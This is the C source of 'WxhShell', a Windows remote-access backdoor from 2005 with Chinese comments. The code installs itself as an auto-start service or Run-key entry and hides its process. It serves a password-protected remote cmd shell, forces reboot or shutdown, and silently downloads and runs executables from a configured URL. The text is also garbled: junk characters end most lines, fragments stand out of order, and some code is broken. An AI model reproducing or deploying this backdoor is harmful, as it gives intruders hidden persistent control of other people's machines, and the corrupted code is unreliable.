    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !* C9NX  
    else { <);Nc1  
    closesocket(wsh); $R[ggH&  
    ExitThread(0); AR-&c 3o  
    } AGxG*KuZ  
    break; #2023Zo]  
    } wfxg@<WR  
  // 获取shell Z>H y+Q4  
  case 's': { \{ui{8+G  
    CmdShell(wsh); nZ 0rxx[V?  
    closesocket(wsh); U&\8~h  
    ExitThread(0); <X_I`  
    break; l4sFT)}-J  
  } ;:l\_b'Z}  
  // 退出 >~sAa+Oxi  
  case 'x': { >)3[CU,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 80M"`6  
    CloseIt(wsh); 6U`yf&D  
    break; @dzO{)  
    } AI&Bv  
  // 离开 ED={OZD8  
  case 'q': { C&vUZa[p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q,mmHw.`J  
    closesocket(wsh); q^_PR|  
    WSACleanup(); v} $KlT  
    exit(1); p=65L  
    break; }qf)L .  
        } .*s1d)\:  
  } dt(#|8i%  
  } $i+ 1a0%n  
Wa {>R2h\  
  // 提示信息 aAr gKM f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v/E_A3Ay&  
} y[s* %yP3l  
  } 8)D5loS  
Ck|3DiRQ  
  return; !kl9X-IiI  
} S WYIQ7*  
L"akV,w4p  
// shell模块句柄 y%21`y&Os  
int CmdShell(SOCKET sock) q7 ;TdQ  
{ $Xf gY1S  
STARTUPINFO si; 9w Pc03a  
ZeroMemory(&si,sizeof(si)); B%c):`w8]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;L5'3+U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #l6L7u0~wC  
PROCESS_INFORMATION ProcessInfo; s^]F4'  
char cmdline[]="cmd"; :1eJc2o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tk hu,  
  return 0; Su0[f/4m.Q  
} v:MJF*/  
 G.3 qg%  
// 自身启动模式 F(-Q]xj,  
int StartFromService(void) I&oHVFY+  
{ 9nFPGIz+  
typedef struct v(T;Y=&  
{ Y7yh0r_  
  DWORD ExitStatus; 4Lo8Eue  
  DWORD PebBaseAddress; {jX h/`  
  DWORD AffinityMask; gF@51K  
  DWORD BasePriority; d?RKobk  
  ULONG UniqueProcessId; (=d%Bn$6b  
  ULONG InheritedFromUniqueProcessId; <m"yPi3TY  
}   PROCESS_BASIC_INFORMATION; MZGN,[~)6  
{CM%QMM  
PROCNTQSIP NtQueryInformationProcess; I@l' Fx  
$q]:m+Fm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7.n/W|\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =rV*iLy  
e5bRi0  
  HANDLE             hProcess; -vcHSwG b  
  PROCESS_BASIC_INFORMATION pbi; (%huWW j  
<n iq*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5G@z l  
  if(NULL == hInst ) return 0; M+X>!Os  
`c^ _5:euX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $d4^e&s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uP\?y(= "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }b-"[TDEF  
N:j"W,8  
  if (!NtQueryInformationProcess) return 0; rzH*|B0g  
b]v.jgD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /lKgaq.  
  if(!hProcess) return 0; ^mLZT*   
;Ocih<4k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d&: ABI  
~VZ)LQ'7  
  CloseHandle(hProcess); p$XL|1G*?H  
 7(;M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _L mDF8Q(  
if(hProcess==NULL) return 0; X6jW mo8]  
.]+oE$,!  
HMODULE hMod; ?*I2?   
char procName[255]; z116i?7EnV  
unsigned long cbNeeded; zkXG%I4h  
opQ%!["N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sgdxr!1?y  
uV r6tb1  
  CloseHandle(hProcess); .0l0*~[  
^uzJu(  
if(strstr(procName,"services")) return 1; // 以服务启动 4^T@n$2N  
Xqt3 p6  
  return 0; // 注册表启动 uXiAN#1  
}  <StyO[  
G992{B  
// 主模块 !/W[6'M#p  
int StartWxhshell(LPSTR lpCmdLine) *ip2|2G$  
{ 8=rD'*  
  SOCKET wsl; 5Z]zul@+*  
BOOL val=TRUE; 3 8>?Z ]V  
  int port=0; X/  
  struct sockaddr_in door; YGP.LR7  
7mipj]  
  if(wscfg.ws_autoins) Install(); ]sBSLEie '  
c:0nOP  
port=atoi(lpCmdLine); h:iK;  
XK[cbVu  
if(port<=0) port=wscfg.ws_port; jm1f,=R  
6eSc`t&  
  WSADATA data; 8_8r{a<xW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8OoKP4,;  
`mTpL^f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xSFY8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VG*Tdaua~  
  door.sin_family = AF_INET; C~PrIM?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lf4V; |!^  
  door.sin_port = htons(port); 4,CQJ  
RG [*:ReB9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ct)/  
closesocket(wsl); @= f2\hU  
return 1; ~^((tT  
}  LAG*H  
HS3] 8nJW  
  if(listen(wsl,2) == INVALID_SOCKET) { T `x:80  
closesocket(wsl); X{A|{u=  
return 1; zr~hGhfq  
} '_& Xemz  
  Wxhshell(wsl); .LDK+c  
  WSACleanup(); tbHU(#~  
~1xln?Q  
return 0; Wk$ 7<gkr  
!Z978Aub3&  
} >e y.7YG  
} %_h|N  
// 以NT服务方式启动 uMl.}t2uYu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *I)o Dq3  
{ (uV ~1  
DWORD   status = 0; GxWA=Xp^~G  
  DWORD   specificError = 0xfffffff; W]kh?+SZ  
FB {4& ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vL"U=Q+/eY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }oH A@o5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '@)47]~  
  serviceStatus.dwWin32ExitCode     = 0; <11pk  
  serviceStatus.dwServiceSpecificExitCode = 0; gqR?hZD  
  serviceStatus.dwCheckPoint       = 0; M>hHTa?W  
  serviceStatus.dwWaitHint       = 0; ,7:_M> -3g  
qkB)CY7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PjriAlxD  
  if (hServiceStatusHandle==0) return; <Cc}MDM604  
@vWf-\  
status = GetLastError(); nQ4s  
  if (status!=NO_ERROR) @!z9.o;  
{ mo1(dyjx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M`!\$D  
    serviceStatus.dwCheckPoint       = 0; x&qC~F*QR%  
    serviceStatus.dwWaitHint       = 0; Jolr"F?  
    serviceStatus.dwWin32ExitCode     = status; E)liuu! qI  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^:g8mt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tFLdBv!=:^  
    return; |_Vi8Ly  
  } zlC|Spaf  
Afm GA9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pC 5J '@  
  serviceStatus.dwCheckPoint       = 0; }HB)%C50.  
  serviceStatus.dwWaitHint       = 0; 8F|8zX&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >5C|i-HX  
} $ 2'AY  
`$j"nP F_  
// 处理NT服务事件,比如:启动、停止 u^H:z0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b|F_]i T  
{ \DsP '-t  
switch(fdwControl) .]+Z<5Fo  
{ !yAg!V KY  
case SERVICE_CONTROL_STOP: ~~eR,HYk  
  serviceStatus.dwWin32ExitCode = 0; Sc Uh -y_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /Po't(-x  
  serviceStatus.dwCheckPoint   = 0; 2Cd#~  
  serviceStatus.dwWaitHint     = 0; lWj{pyZ  
  { ld58R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f,GF3vu"  
  } jUjgxP*7m  
  return; Kn~f$1  
case SERVICE_CONTROL_PAUSE: 2\h]*x% :  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~nk{\ rWO  
  break; .>z)6S_G  
case SERVICE_CONTROL_CONTINUE: n"YY:Gm;8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9-)D"ZhLe  
  break; ]k~k6#),;  
case SERVICE_CONTROL_INTERROGATE: GtcY){7  
  break; VfAC&3 %M  
};  9?c0cwP?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tRU+6D <w  
} _[|~(lDJl  
-V@vY42  
// 标准应用程序主函数 6 R}]RuFQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PLDg'4DMg  
{ nO^aZmSu  
FoY_5/  
// 获取操作系统版本 {qO[93yg)/  
OsIsNt=GetOsVer(); 28 qTC?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @, v'V!  
(`+%K_  
  // 从命令行安装 {fXD@lhi  
  if(strpbrk(lpCmdLine,"iI")) Install(); *nUD6(@g  
sE87}Lz  
  // 下载执行文件 hKP7p   
if(wscfg.ws_downexe) { w?^qAj(*d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6t9Q,+nJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); %00KOM:  
} PveY8[i  
tr8a_CV  
if(!OsIsNt) { e| x1Dq  
// 如果时win9x,隐藏进程并且设置为注册表启动 r\J"|{)e  
HideProc(); rEwEdyK  
StartWxhshell(lpCmdLine); 5S4kn.3  
} L{y%\:]  
else u 0M[B7Q  
  if(StartFromService()) ~#/NpKHT@A  
  // 以服务方式启动 J})G l  
  StartServiceCtrlDispatcher(DispatchTable); f 7B)iI!  
else v'`VyXetl  
  // 普通方式启动 hM~9p{O  
  StartWxhshell(lpCmdLine); 2pR+2p`  
`I|$U)'  
return 0; (V2~txMh  
} b77Iw%x7  
&NbhQY`k  
GSzb  
7: 7i}`O  
=========================================== bup)cX^  
\"!Fw)wj  
vmW > $P  
yVQ0;h  
&AR@5M u  
? <b>2j  
" l-` M 9#  
'Rbv3U  
#include <stdio.h> +&?#Gdb  
#include <string.h> ?.1yNO*s  
#include <windows.h> #- S%aeB  
#include <winsock2.h> ph*?y  
#include <winsvc.h> JJ\|FZ N  
#include <urlmon.h> ykFm$ 0m+I  
]PWK^-4P  
#pragma comment (lib, "Ws2_32.lib") )kLTyx2&  
#pragma comment (lib, "urlmon.lib") W Z'UVUi8  
\\Ps*HN  
#define MAX_USER   100 // 最大客户端连接数 D@9adwQb  
#define BUF_SOCK   200 // sock buffer )+;Xfftz  
#define KEY_BUFF   255 // 输入 buffer W"j&':xD  
JC| j*x(k/  
#define REBOOT     0   // 重启 W&E?#=*X  
#define SHUTDOWN   1   // 关机 :x"Q[079  
b CWSh~  
#define DEF_PORT   5000 // 监听端口 -'SpSy'_  
OV<'v%_&  
#define REG_LEN     16   // 注册表键长度 xgsEJE  
#define SVC_LEN     80   // NT服务名长度 fuRCM^U(  
IM-O<T6r[N  
// 从dll定义API ;2Aqztp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); # .1+-^TQk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {8b6M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V~nqPh!Jc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^{f ^%)X  
3d<Z##`{4  
// wxhshell配置信息 U^aMh-  
struct WSCFG { 7p"4rL  
  int ws_port;         // 监听端口 '3B"@^]  
  char ws_passstr[REG_LEN]; // 口令 ft |W  
  int ws_autoins;       // 安装标记, 1=yes 0=no p6)Jzh_/  
  char ws_regname[REG_LEN]; // 注册表键名 ]70V  
  char ws_svcname[REG_LEN]; // 服务名 )4h4ql W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mn5y]:;`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0\W6X;?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 < cNJrer  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L\)GPTo!x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }Xa1K;KM{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >@Vap  
=i'APeNaQ  
}; 3a|I| NP  
Sfl. &A(  
// default Wxhshell configuration >;wh0dBe  
struct WSCFG wscfg={DEF_PORT, o:oQF[TcFO  
    "xuhuanlingzhe", ),DLrGOl  
    1, {tE9m@[AF  
    "Wxhshell", Y52f8qQq  
    "Wxhshell", _]oNbcbt(  
            "WxhShell Service", {,:yZ&(  
    "Wrsky Windows CmdShell Service", = Ob-'Syg>  
    "Please Input Your Password: ", &k\`!T1  
  1, Y)V)g9  
  "http://www.wrsky.com/wxhshell.exe", w|t}.u  
  "Wxhshell.exe" MS7rD%(,'  
    }; t4Q&^AC  
Veeuw  
// 消息定义模块 [2*?b/q3J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _+B{n^ {  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l$1 ]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5/w4[d  
char *msg_ws_ext="\n\rExit."; 86 $88`/2  
char *msg_ws_end="\n\rQuit."; T?lp:~d  
char *msg_ws_boot="\n\rReboot..."; <m"fzT<"  
char *msg_ws_poff="\n\rShutdown..."; zDD  
char *msg_ws_down="\n\rSave to "; H6o_*Y  
 }BFX7X  
char *msg_ws_err="\n\rErr!"; 7+'&(^c  
char *msg_ws_ok="\n\rOK!"; zCz"[9k  
HpCTQ\H  
char ExeFile[MAX_PATH]; 2!kb?  
int nUser = 0; h^ o@=%b  
HANDLE handles[MAX_USER]; 5rX_85]  
int OsIsNt; l&JV.}qGB8  
8'<RPU}M  
SERVICE_STATUS       serviceStatus; g#*LJ `1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  4:Ton  
~DJILc  
// 函数声明 ]a=n(`l?  
int Install(void); lGhhH _  
int Uninstall(void); uO^,N**R#  
int DownloadFile(char *sURL, SOCKET wsh); 7T69tQZ<  
int Boot(int flag); xj< K6  
void HideProc(void); . DrGr:UW  
int GetOsVer(void);  Iz_#wO  
int Wxhshell(SOCKET wsl); &x"hM  
void TalkWithClient(void *cs); 6<t<hP_3O  
int CmdShell(SOCKET sock); v#^_|  
int StartFromService(void); S UB rFsA  
int StartWxhshell(LPSTR lpCmdLine); I+GP`=\  
j|-{*t{/x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s#BSZP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); As>-9p>v  
X$A[~v  
// 数据结构和表定义 8"=E 0(m  
SERVICE_TABLE_ENTRY DispatchTable[] = ?B{,%2+  
{ yg WwUpY  
{wscfg.ws_svcname, NTServiceMain}, FlyRcj  
{NULL, NULL} z km#w  
}; # A#,]XP  
*L{^em#b  
// 自我安装 rnSrkn"j{  
int Install(void) 7W.z8>p  
{ ]^>RBegJBO  
  char svExeFile[MAX_PATH]; `Lj'2LoER  
  HKEY key; E51'TT9  
  strcpy(svExeFile,ExeFile); ;659E_y>  
y F;KyY{  
// 如果是win9x系统,修改注册表设为自启动 =WEWs4V5A  
if(!OsIsNt) { TQL_K8k@_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P;bOtT --  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wl N l|+ K  
  RegCloseKey(key); .VA'W16  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KN< KZM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tq.g4X ;_  
  RegCloseKey(key); ]|8*l]oc  
  return 0; U6IvN@ g  
    } *r/o \pyH  
  } SO+J5,)HA  
} .22}= z  
else { 'GF<_3I2l  
"ivSpec.V  
// 如果是NT以上系统,安装为系统服务 l\6.f_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dTVh{~/  
if (schSCManager!=0) R^VmNj  
{ tSX,*cz  
  SC_HANDLE schService = CreateService CyKupJ.Fq  
  ( OI)U c .  
  schSCManager, cnL@j_mb  
  wscfg.ws_svcname, [P3 Z"&  
  wscfg.ws_svcdisp, WNp-V02l  
  SERVICE_ALL_ACCESS, ekPn`U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tqm)-|[  
  SERVICE_AUTO_START, jRBKy8?[C  
  SERVICE_ERROR_NORMAL, l<UJ@XID$  
  svExeFile, {1}p+dEK  
  NULL, = KJ_LE~)  
  NULL, w)<h$ <tU  
  NULL, {s3j}&  
  NULL, AiUK#I  
  NULL xlm:erP  
  ); ^K?Mq1"Db  
  if (schService!=0) 55V&[>|K5  
  { +nKf ^rG  
  CloseServiceHandle(schService); +kM*BCPYE  
  CloseServiceHandle(schSCManager); OE(!^"5?[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8z`Ne(h;  
  strcat(svExeFile,wscfg.ws_svcname); df8aM<&m3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;@/vKA3l.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iu+rg(*%  
  RegCloseKey(key); _xdFQ  
  return 0; \w=*:Z  
    } ~+&Z4CYb  
  } Rf#t|MW*#  
  CloseServiceHandle(schSCManager); %0lJ(hm  
} v]U0@#/p  
} TIVrbO\!o  
nA.~}  
return 1; %)}y[ (  
} m<GJ1)%3i  
~IS3i'bh  
// 自我卸载 ;hkzL_' E)  
int Uninstall(void) !3Ed0h]Bfa  
{ KBa   
  HKEY key; +7$zL;ph=n  
e) kVS}e?  
if(!OsIsNt) { vFH1hm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (k<__W c_t  
  RegDeleteValue(key,wscfg.ws_regname); (T8dh|  
  RegCloseKey(key); dL|*#e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f1RX`rXf  
  RegDeleteValue(key,wscfg.ws_regname); JAS!eF  
  RegCloseKey(key); (E<QA  
  return 0; /u pDbP.O  
  } h%!N!\  
} YnwP\Arfq  
} i4\m/&of3y  
else { [8rl{~9E  
X.)D"+xnH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tRmH6  
if (schSCManager!=0) &BkdC,o  
{ gB}UzEj^<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $LJCup,1"  
  if (schService!=0) b:YyzOqEu  
  { [ |dQZ  
  if(DeleteService(schService)!=0) { A9C  
  CloseServiceHandle(schService); #]e](j>]  
  CloseServiceHandle(schSCManager); ;`}b .S =n  
  return 0; PP!} w  
  } r  |JZU  
  CloseServiceHandle(schService); RtScv  
  } Q+=D#x  
  CloseServiceHandle(schSCManager); -:  8[  
} gs9VCaIa  
} f}? q  
A"no!AN  
return 1; JTfG^Nv>K  
} U Y')|2y 5  
6dQ]=];  
// 从指定url下载文件 .+2@(r  
int DownloadFile(char *sURL, SOCKET wsh) _sI\^yZd  
{ YfUUbV  
  HRESULT hr; :Wmio\  
char seps[]= "/"; \ 0aa0=  
char *token; Q\{$&0McF  
char *file; a!*K)x,"<  
char myURL[MAX_PATH]; i~;Yrc%AEX  
char myFILE[MAX_PATH]; <|c[ #f  
bT#re  
strcpy(myURL,sURL); X8| 0RU@f  
  token=strtok(myURL,seps); :Tn1]a)f6  
  while(token!=NULL) c(!8L\69V}  
  { 7 J+cs^2  
    file=token; 2` j#eB1  
  token=strtok(NULL,seps); s5D<c'-  
  } 2kQa3Pan  
8[mj*^P  
GetCurrentDirectory(MAX_PATH,myFILE); D$/*Z5Z)]  
strcat(myFILE, "\\"); h;Se.{  
strcat(myFILE, file); <o.?T*Q9  
  send(wsh,myFILE,strlen(myFILE),0); ~@N0$S  
send(wsh,"...",3,0); Rln JlY/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?j-;;NNf  
  if(hr==S_OK) E-XFW]I  
return 0; # vBS7ba  
else UJ1Ecob  
return 1; _.G p}0a  
1)N{!w`  
} BHEZ<K[U   
o7WK"E!pF'  
// 系统电源模块 k=r)kkO)  
int Boot(int flag) Fmux#}Z  
{ m-)yQM8  
  HANDLE hToken; *w_f-YoXp  
  TOKEN_PRIVILEGES tkp; Oa#m}b  
Mg}8 3kS  
  if(OsIsNt) { Nw|m"VLb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4> $weu^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M}*#{UV2  
    tkp.PrivilegeCount = 1; K_t! P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L !V6 Rfy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `1qM Sq  
if(flag==REBOOT) { -|&5aH]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~lB:xVzn  
  return 0; 7n*[r*$  
} of>"qrdZ  
else { RmcQGQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K^fH:pV  
  return 0; a>/cVu'kz  
} GUqhm$6a  
  } DV">9{"5']  
  else { a54qv^IS  
if(flag==REBOOT) { 5Sfz0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KD)+& 69  
  return 0; N0 F|r8xS  
} |jwN8@  
else { p.J+~s4G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <4QOjW  
  return 0;  T%p/(  
} )i{B:w\ ^  
} 35X4] t  
>7^i>si  
return 1; [r"`r Bw  
} 4_B1qN  
BO 3%p  
// win9x进程隐藏模块 KW5u.phv  
void HideProc(void) L4C_qb k;:  
{ !mtq?LV  
Rr0@F`"R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r:*0)UZlD  
  if ( hKernel != NULL ) %.3] F2_Q  
  { IoI ,IX]i)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 98^o9i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (hv>vfY@  
    FreeLibrary(hKernel); =fZMute  
  } >84:1 `  
P-c<[DSM'I  
return; 3~&h9#7 Ke  
} :4, OA  
( @y te  
// 获取操作系统版本 QY]G+3W  
int GetOsVer(void) 3vK,vu q  
{ @p}"B9h*^  
  OSVERSIONINFO winfo; (iw)C)t*u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6xsB#v*  
  GetVersionEx(&winfo); J&bhR9sF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rBY{&JhS  
  return 1; I||4.YT  
  else j(SBpM  
  return 0; uqMe %  
} hR1n@/nh  
@<W^/D1#L  
// 客户端句柄模块 /K2=GLl;  
int Wxhshell(SOCKET wsl) !<P|:Oo*Dl  
{ *MBu5 +u%e  
  SOCKET wsh; 0cxk)l%  
  struct sockaddr_in client; ejuw+@ _  
  DWORD myID; k_}aiHdG  
bEz1@"~ p  
  while(nUser<MAX_USER) %]15=7#'y  
{ 5/>W(,5}  
  int nSize=sizeof(client); !=w&=O0(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *tD`X( K  
  if(wsh==INVALID_SOCKET) return 1; (T]<  
LAT%k2%Wx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3?rYt:Uf!  
if(handles[nUser]==0)  #mDeA>b  
  closesocket(wsh); c ii]-%J}c  
else M XX:i  
  nUser++; ?U PZ49y  
  } @Ht7^rz+S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ct)l0J\XH  
E 3a^)S{  
  return 0; n)'5h &#  
} rL=_z^.P  
l5R0^!t  
// 关闭 socket N3`EJY_|V  
void CloseIt(SOCKET wsh) _ Db05:r@  
{ :jc ?T  
closesocket(wsh); +9[/> JM  
nUser--; f;w7YO+$p9  
ExitThread(0); ^*fZ  
} xc HG5bg |  
ojA i2uz  
// 客户端请求句柄 pDg_^|  
void TalkWithClient(void *cs) 8'Y7lOXS  
{ 8 FqhSzw  
1sT%g}w@|  
  SOCKET wsh=(SOCKET)cs; foOwJ}JU  
  char pwd[SVC_LEN]; x/pM.NZF1  
  char cmd[KEY_BUFF]; JXBTd=r_oM  
char chr[1]; #cRw0bn:  
int i,j; 7oK7f=*Q  
lW!}OzE(m  
  while (nUser < MAX_USER) { )O~V3a  
\z4I'"MC.9  
if(wscfg.ws_passstr) { !7KSNwGu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GkT:7`|C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~fDMzOd  
  //ZeroMemory(pwd,KEY_BUFF); }zkMo ?  
      i=0; *yx&4)Or  
  while(i<SVC_LEN) { HZH zjrx  
n4YedjHSN  
  // 设置超时  GT)63|  
  fd_set FdRead; wLDWD,"K  
  struct timeval TimeOut; Z?#_3h$"T  
  FD_ZERO(&FdRead); 1gTW*vLM\  
  FD_SET(wsh,&FdRead); -or^mNB_z  
  TimeOut.tv_sec=8; aNLkkkJg<;  
  TimeOut.tv_usec=0; >pVrY; P[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aq|R?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 38[ko 3  
EAgNu?L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SREe, e\  
  pwd=chr[0]; nlfu y[oX  
  if(chr[0]==0xd || chr[0]==0xa) { U60jkzIRH  
  pwd=0; */|Vyp-  
  break; 6^oQ8unmS  
  } ZDI%?.U  
  i++; soH M5<U  
    } 0(Hhb#WDh\  
_7O;ED+  
  // 如果是非法用户,关闭 socket I\BcG(hlJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GomTec9.  
} Jx:t(oUR+  
0M'[|ci d|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VGVZ`|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [CBhipoc  
\GR M,c  
while(1) { a*pwVn  
g@va@*|~d  
  ZeroMemory(cmd,KEY_BUFF); 0!:1o61  
[`_ZlC  
      // 自动支持客户端 telnet标准   JMUk=p<\  
  j=0; B4<W%lm  
  while(j<KEY_BUFF) { '>}dqp{Wr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [&Z3+/lR*  
  cmd[j]=chr[0]; QEavbh^S  
  if(chr[0]==0xa || chr[0]==0xd) { @-~ )M_  
  cmd[j]=0; Q UQ"2oC  
  break; m5G9 B-\?  
  } 4TBK:Vm5  
  j++; {G+pI2^  
    } O%g%*9  
X/ \5j   
  // 下载文件 $ON4 nx  
  if(strstr(cmd,"http://")) { abHW[VP9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vu%XoI)<KY  
  if(DownloadFile(cmd,wsh)) vBM uVpzO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xy74D/ocui  
  else \G3 P[E[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j=%^CRum  
  } wc3OOyP@0  
  else { HOn,c@.9Y  
C/JeD-JG  
    switch(cmd[0]) { S~8w-lG!  
  &?],uHB?d  
  // 帮助 ha;Xali ]  
  case '?': { D*>EWlZ   
